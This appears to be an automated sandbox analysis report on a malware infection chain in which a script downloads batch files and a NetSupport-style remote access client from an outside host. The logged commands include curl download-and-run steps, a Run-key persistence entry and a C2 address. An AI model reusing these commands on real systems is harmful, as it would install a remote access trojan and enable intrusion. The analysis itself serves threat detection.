Source:	Binary string: E:\nsmsrc\nsm\1210\1210\client32\Release\client32.pdb source: 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000000.1254567847.0000000000282000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000014.00000002.3568927747.0000000000282000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000016.00000000.1319389231.0000000000282000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 00000016.00000002.1325547573.0000000000282000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 0000001D.00000000.1403272833.0000000000282000.00000002.00000001.01000000.00000008.sdmp, client32.exe, 0000001D.00000002.1406703924.0000000000282000.00000002.00000001.01000000.00000008.sdmp, client32.exe.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: 7zz.exe, 00000011.00000003.1191680257.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\Full\pcichek.pdb source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3593390511.0000000074792000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 00000016.00000002.1332392282.0000000074792000.00000002.00000001.01000000.0000000C.sdmp, client32.exe, 0000001D.00000002.1410894319.0000000074792000.00000002.00000001.01000000.0000000C.sdmp, PCICHEK.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\htctl32.pdb source: 7zz.exe, 00000011.00000003.1191680257.00000000022E1000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3590891004.0000000071670000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3593104500.00000000745D5000.00000002.00000001.01000000.0000000A.sdmp, client32.exe, 00000016.00000002.1332246055.00000000745D5000.00000002.00000001.01000000.0000000A.sdmp, client32.exe, 0000001D.00000002.1410742299.00000000745D5000.00000002.00000001.01000000.0000000A.sdmp, pcicapi.dll.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: 7zz.exe, 00000011.00000003.1191680257.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.17.dr
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3587342091.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329187153.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 0000001D.00000002.1408768703.0000000011194000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.17.dr

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: CreateTextFile("Z:\syscalls\3128.js.csv");IServerXMLHTTPRequest2.onreadystatechange("Unsupported parameter type 00000009");IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" entry:130 o: f:open a0:%22GET%22 a1:%22https%3A%2F%2Fmangoairsoft.com%2F05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1%2F11.bat%3F597673%22 a2:false");IServerXMLHTTPRequest2.open("GET", "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf250", "false");IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" exit:130 o: f:open r:undefined");IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" entry:173 o: f:send");IServerXMLHTTPRequest2.send();IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3128.js.csv");IServerXMLHTTPRequest2.onreadystatechange("Unsupported parameter type 00000009");IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" entry:130 o: f:open a0:%22GET%22 a1:%22https%3A%2F%2Fmangoairsoft.com%2F05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1%2F11.bat%3F597673%22 a2:false");IServerXMLHTTPRequest2.open("GET", "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf250", "false");IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" exit:130 o: f:open r:undefined");IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" entry:173 o: f:send");IServerXMLHTTPRequest2.send();IServerXMLHTTPRequest2._00000000();ITextStream.WriteLine(" exit:173 o: f:send r:undefined");ITextStream.WriteLine(" entry:181 f:ActiveXObject a0:%22new%3A%7BF935DC22-1CF0-11D0-ADB9-00C04FD58A0B%7D%22");IWshShell3._00000000();ITextStream.WriteLine(" exit:181 f:ActiveXObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:194 o: f:RUN a0:%22cmd%20%2Fc%20C%3A%2F%2FProgramData%2F%2FhTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat%22 a1:0 a2:true");IWshShell3.Run("cmd /c C://ProgramData//hTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat", "0", "true")

Source: C:\ProgramData\7zz.exe	Code function: 17_2_0046CC80 push eax; ret	17_2_0046CCAE
Source: C:\ProgramData\7zz.exe	Code function: 17_2_00459590 push ecx; mov dword ptr [esp], ecx	17_2_00459591
Source: C:\ProgramData\client32.exe	Code function: 20_2_1116FF15 push ecx; ret	20_2_1116FF28

Source: 7zz.exe.8.dr	Static PE information: section name: .sxdata
Source: putty.exe.17.dr	Static PE information: section name: .00cfg
Source: putty.exe.17.dr	Static PE information: section name: .gxfg
Source: putty.exe.17.dr	Static PE information: section name: _RDATA
Source: PCICL32.DLL.17.dr	Static PE information: section name: .hhshare

Source: C:\ProgramData\client32.exe

Code function: 20_2_11029BB0 GetTickCount,LoadLibraryA,GetProcAddress,InternetCloseHandle,SetLastError,_malloc,GetProcAddress,GetLastError,_free,_malloc,GetProcAddress,GetProcAddress,InternetOpenA,SetLastError,SetLastError,SetLastError,_free,GetProcAddress,SetLastError,GetProcAddress,InternetConnectA,GetProcAddress,SetLastError,SetLastError,GetProcAddress,SetLastError,GetProcAddress,SetLastError,GetLastError,GetProcAddress,SetLastError,GetLastError,GetDesktopWindow,GetProcAddress,SetLastError,GetProcAddress,SetLastError,GetProcAddress,SetLastError,FreeLibrary,

20_2_11029BB0

Source: initial sample

Static PE information: section name: .text entropy: 6.909044922675825

Persistence and Installation Behavior

Command shell drops VBS files

Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\b1.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\b2.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\b3.vbs	Jump to behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\remcmdstub.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\PCICHEK.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\PCICL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\TCCTL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\HTCTL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\client32.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\putty.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\msvcr100.dll	Jump to dropped file
Source: C:\Windows\System32\curl.exe	File created: C:\ProgramData\7zz.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\pcicapi.dll	Jump to dropped file

Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\remcmdstub.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\PCICHEK.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\PCICL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\TCCTL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\HTCTL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\client32.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\putty.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\msvcr100.dll	Jump to dropped file
Source: C:\Windows\System32\curl.exe	File created: C:\ProgramData\7zz.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	File created: C:\ProgramData\pcicapi.dll	Jump to dropped file

Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run CachedX			Jump to behavior
Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run CachedX			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 5050 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 5050 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 5050

Source: C:\ProgramData\client32.exe	Code function: 20_2_11139ED0 GetCurrentThreadId,IsWindowVisible,IsWindow,IsWindowVisible,IsWindowVisible,GetForegroundWindow,EnableWindow,EnableWindow,EnableWindow,SetForegroundWindow,FindWindowA,IsWindowVisible,IsWindowVisible,IsIconic,GetForegroundWindow,SetForegroundWindow,EnableWindow,GetLastError,GetLastError,GetLastError,GetTickCount,GetTickCount,FreeLibrary,	20_2_11139ED0
Source: C:\ProgramData\client32.exe	Code function: 20_2_110C1020 IsIconic,ShowWindow,BringWindowToTop,GetCurrentThreadId,	20_2_110C1020
Source: C:\ProgramData\client32.exe	Code function: 20_2_11113380 IsIconic,GetTickCount,	20_2_11113380
Source: C:\ProgramData\client32.exe	Code function: 20_2_110CB750 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	20_2_110CB750
Source: C:\ProgramData\client32.exe	Code function: 20_2_110CB750 GetWindowRect,IsIconic,GetClientRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsIconic,GetWindowRect,SetWindowPos,	20_2_110CB750
Source: C:\ProgramData\client32.exe	Code function: 20_2_111236E0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	20_2_111236E0
Source: C:\ProgramData\client32.exe	Code function: 20_2_111236E0 IsIconic,FreeLibrary,IsIconic,InvalidateRect,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,PostMessageA,	20_2_111236E0
Source: C:\ProgramData\client32.exe	Code function: 20_2_11025A90 SetWindowPos,GetMenu,DrawMenuBar,GetMenu,DeleteMenu,UpdateWindow,IsIconic,SetTimer,KillTimer,	20_2_11025A90
Source: C:\ProgramData\client32.exe	Code function: 20_2_1115BAE0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	20_2_1115BAE0
Source: C:\ProgramData\client32.exe	Code function: 20_2_1115BAE0 IsIconic,ShowWindow,BringWindowToTop,IsWindow,IsIconic,ShowWindow,BringWindowToTop,	20_2_1115BAE0
Source: C:\ProgramData\client32.exe	Code function: 20_2_11113FA0 IsIconic,GetTickCount,CreateRectRgn,GetClientRect,SetStretchBltMode,CreateRectRgn,GetClipRgn,OffsetRgn,GetRgnBox,SelectClipRgn,StretchBlt,SelectClipRgn,DeleteObject,StretchBlt,StretchBlt,GetWindowOrgEx,StretchBlt,GetKeyState,CreatePen,CreatePen,SelectObject,Polyline,Sleep,SelectObject,Polyline,Sleep,SelectObject,DeleteObject,DeleteObject,BitBlt,	20_2_11113FA0
Source: C:\ProgramData\client32.exe	Code function: 20_2_11025EE0 IsIconic,BringWindowToTop,GetCurrentThreadId,	20_2_11025EE0
Source: C:\ProgramData\client32.exe	Code function: 20_2_1115BEE0 _memset,SendMessageA,SendMessageA,ShowWindow,SendMessageA,IsIconic,IsZoomed,ShowWindow,GetDesktopWindow,TileWindows,	20_2_1115BEE0
Source: C:\ProgramData\client32.exe	Code function: 20_2_110241A0 BringWindowToTop,SetWindowPos,SetWindowPos,SetWindowPos,GetWindowLongA,SetWindowLongA,GetDlgItem,EnableWindow,GetMenu,DeleteMenu,DrawMenuBar,SetWindowPos,IsIconic,UpdateWindow,SetTimer,KillTimer,	20_2_110241A0

Source: C:\ProgramData\client32.exe

20_2_11029BB0

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\client32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\timeout.exe TID: 3464

Thread sleep count: 52 > 30

Source: C:\ProgramData\client32.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_20-42248

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\ProgramData\7zz.exe	Dropped PE file which has not been started: C:\ProgramData\remcmdstub.exe	Jump to dropped file
Source: C:\ProgramData\7zz.exe	Dropped PE file which has not been started: C:\ProgramData\TCCTL32.DLL	Jump to dropped file
Source: C:\ProgramData\7zz.exe	Dropped PE file which has not been started: C:\ProgramData\putty.exe	Jump to dropped file

Source: C:\ProgramData\client32.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_20-39686

Source: C:\ProgramData\client32.exe

API coverage: 9.6 %

Source: C:\ProgramData\client32.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

System process connects to network (likely due to code injection or exploit)

Source: C:\ProgramData\7zz.exe

Code function: 17_2_0040C5F4 GetSystemInfo,

17_2_0040C5F4

Source: C:\ProgramData\7zz.exe	Code function: 17_2_0040B174 __EH_prolog,FindFirstFileW,FindFirstFileW,FindFirstFileW,AreFileApisANSI,FindFirstFileA,	17_2_0040B174
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0040B6E9 __EH_prolog,FindFirstFileW,GetCurrentDirectoryW,	17_2_0040B6E9
Source: C:\ProgramData\client32.exe	Code function: 20_2_111273E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	20_2_111273E0
Source: C:\ProgramData\client32.exe	Code function: 20_2_1102D9F4 Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	20_2_1102D9F4
Source: C:\ProgramData\client32.exe	Code function: 20_2_1102DD21 CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	20_2_1102DD21
Source: C:\ProgramData\client32.exe	Code function: 20_2_1110BD70 _memset,wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	20_2_1110BD70

Source: C:\ProgramData\7zz.exe	API call chain: ExitProcess graph end node	graph_17-39385
Source: C:\ProgramData\7zz.exe	API call chain: ExitProcess graph end node	graph_17-39384
Source: C:\ProgramData\client32.exe	API call chain: ExitProcess graph end node	graph_20-41031
Source: C:\ProgramData\client32.exe	API call chain: ExitProcess graph end node	graph_20-42953
Source: C:\ProgramData\client32.exe	API call chain: ExitProcess graph end node	graph_20-39753

Source: HTCTL32.DLL.17.dr	Binary or memory string: VMware
Source: client32.exe, 00000014.00000002.3590891004.0000000071670000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.clagq*
Source: HTCTL32.DLL.17.dr	Binary or memory string: hbuf->datahttputil.c%5d000000000002004C4F4F50VirtualVMwareVIRTNETGetAdaptersInfoiphlpapi.dllcbMacAddress == MAX_ADAPTER_ADDRESS_LENGTHmacaddr.cpp,%02x%02x%02x%02x%02x%02x* Netbiosnetapi32.dll01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZwhoa nelly, says Sherman, the Sharkhellooo nurse!kernel32.dllProcessIdToSessionId%s_L%d_%xNOT copied to diskcopied to %sAssert failed - Unhandled Exception (GPF) -
Source: TCCTL32.DLL.17.dr	Binary or memory string: skt%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllGetAdaptersInfoIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlTCREMOTETCBRIDGE%s=%s
Source: wscript.exe, 00000000.00000003.1324888320.000001F0533E1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1329782005.000001F0533E2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1331277766.000001F055A4B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1267877141.000001F0533DA000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000003.1567802083.0000000001032000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000003.1567321566.0000000005717000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000003.1329311989.00000000056F8000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3571307055.0000000000F8E000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3574723113.0000000001032000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3583242414.0000000005717000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: HTCTL32.DLL.17.dr	Binary or memory string: plist<T> too longp.secondQueueQueueThreadEventidata->Q.size () == 0p < ep%dWSAIoctlclosesocketsocketWSACleanupWSAStartupws2_32.dllIPHLPAPI.DLLVMWarevirtGetAdaptersAddressesVMWarevirtntohlWinHttpCloseHandleWinHttpGetProxyForUrlNS247WinHttpOpenWinHttpGetIEProxyConfigForCurrentUserwinhttp.dllc != '\0'dstbufyenc.cla
Source: TCCTL32.DLL.17.dr	Binary or memory string: VMWare
Source: wscript.exe, 00000000.00000003.1324888320.000001F0533E1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1329782005.000001F0533E2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1267877141.000001F0533DA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RA
Source: curl.exe, 00000006.00000003.1158487951.00000222B2AF3000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000008.00000003.1171583899.000001D23D783000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000A.00000002.1179118449.0000020751867000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000016.00000003.1325129283.0000000000B80000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000016.00000002.1325866486.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 0000001D.00000003.1406345005.0000000000B51000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\ProgramData\client32.exe

Code function: 20_2_110B7F30 GetLastError,_strrchr,_strrchr,GetTickCount,GetMessageA,TranslateMessage,DispatchMessageA,GetTickCount,GetMessageA,TranslateMessage,DispatchMessageA,GetCurrentThreadId,wsprintfA,wsprintfA,wsprintfA,GetCurrentThreadId,wsprintfA,OutputDebugStringA,wsprintfA,wsprintfA,GetModuleFileNameA,wsprintfA,GetTempPathA,GetLocalTime,_memset,GetVersionExA,wsprintfA,wsprintfA,_fputs,_fputs,_fputs,_fputs,_fputs,_fputs,wsprintfA,_fputs,_strncat,wsprintfA,SetTimer,MessageBoxA,KillTimer,PeekMessageA,MessageBoxA,

20_2_110B7F30

Source: C:\ProgramData\client32.exe

20_2_11029BB0

Source: C:\ProgramData\client32.exe

Code function: 20_2_1117D104 __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

20_2_1117D104

Source: C:\ProgramData\7zz.exe	Code function: 17_2_0046E6AA SetUnhandledExceptionFilter,	17_2_0046E6AA
Source: C:\ProgramData\7zz.exe	Code function: 17_2_0046E6BC SetUnhandledExceptionFilter,	17_2_0046E6BC
Source: C:\ProgramData\client32.exe	Code function: 20_2_110934A0 _NSMFindClass@12,SetUnhandledExceptionFilter,OpenEventA,FindWindowA,SetForegroundWindow,CreateEventA,CloseHandle,	20_2_110934A0
Source: C:\ProgramData\client32.exe	Code function: 20_2_11031780 _NSMClient32@8,SetUnhandledExceptionFilter,	20_2_11031780

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\wscript.exe

Network Connect: 188.127.230.147 443

Source: C:\ProgramData\client32.exe

Code function: 20_2_11113190 GetKeyState,DeviceIoControl,keybd_event,

20_2_11113190

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C://ProgramData//hTeaPOrNCzaBsfwyZvQlxGetVKrbucD.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\sett.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\7z.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\qweq.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c C:\ProgramData\qweq.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/lolo.7z" -o "C:\ProgramData\lolo.7z"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe" -o "C:\ProgramData\7zz.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k "https://mangoairsoft.com/05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/22.bat" -o "C:\ProgramData\qweq.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\xcopy.exe xcopy /h /y 7zz.exe C:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe TIMEOUT /T 7
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c C:\ProgramData\client32.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "CachedX" /t REG_SZ /d "C:\ProgramData\client32.exe" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\7zz.exe C:\ProgramData\7zz.exe x -y C:\ProgramData\lolo.7z -oC:\ProgramData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\ProgramData\client32.exe C:\ProgramData\client32.exe	Jump to behavior

Source: C:\ProgramData\client32.exe

Code function: 20_2_1109E5B0 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,GetVersionExA,GetSecurityDescriptorSacl,SetSecurityDescriptorSacl,FreeLibrary,CreateFileMappingA,GetLastError,LocalFree,LocalFree,LocalFree,GetLastError,MapViewOfFile,LocalFree,LocalFree,LocalFree,GetModuleFileNameA,GetModuleFileNameA,LocalFree,LocalFree,LocalFree,_memset,GetTickCount,GetCurrentProcessId,GetModuleFileNameA,CreateEventA,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,CreateEventA,GetLastError,GetLastError,GetLastError,LocalFree,LocalFree,LocalFree,GetCurrentThreadId,CreateThread,ResetEvent,ResetEvent,ResetEvent,ResetEvent,SetEvent,

20_2_1109E5B0

Source: C:\ProgramData\client32.exe

Code function: 20_2_1109ED30 GetTokenInformation,GetTokenInformation,GetTokenInformation,AllocateAndInitializeSid,EqualSid,

20_2_1109ED30

Source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, 00000014.00000002.3587342091.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329187153.0000000011194000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: Shell_TrayWndunhandled plugin data, id=%d
Source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, client32.exe, 00000014.00000002.3587342091.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329187153.0000000011194000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: Shell_TrayWnd
Source: 7zz.exe, 00000011.00000003.1191680257.000000000240C000.00000004.00000020.00020000.00000000.sdmp, client32.exe, client32.exe, 00000014.00000002.3587342091.0000000011194000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000016.00000002.1329187153.0000000011194000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: Progman

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
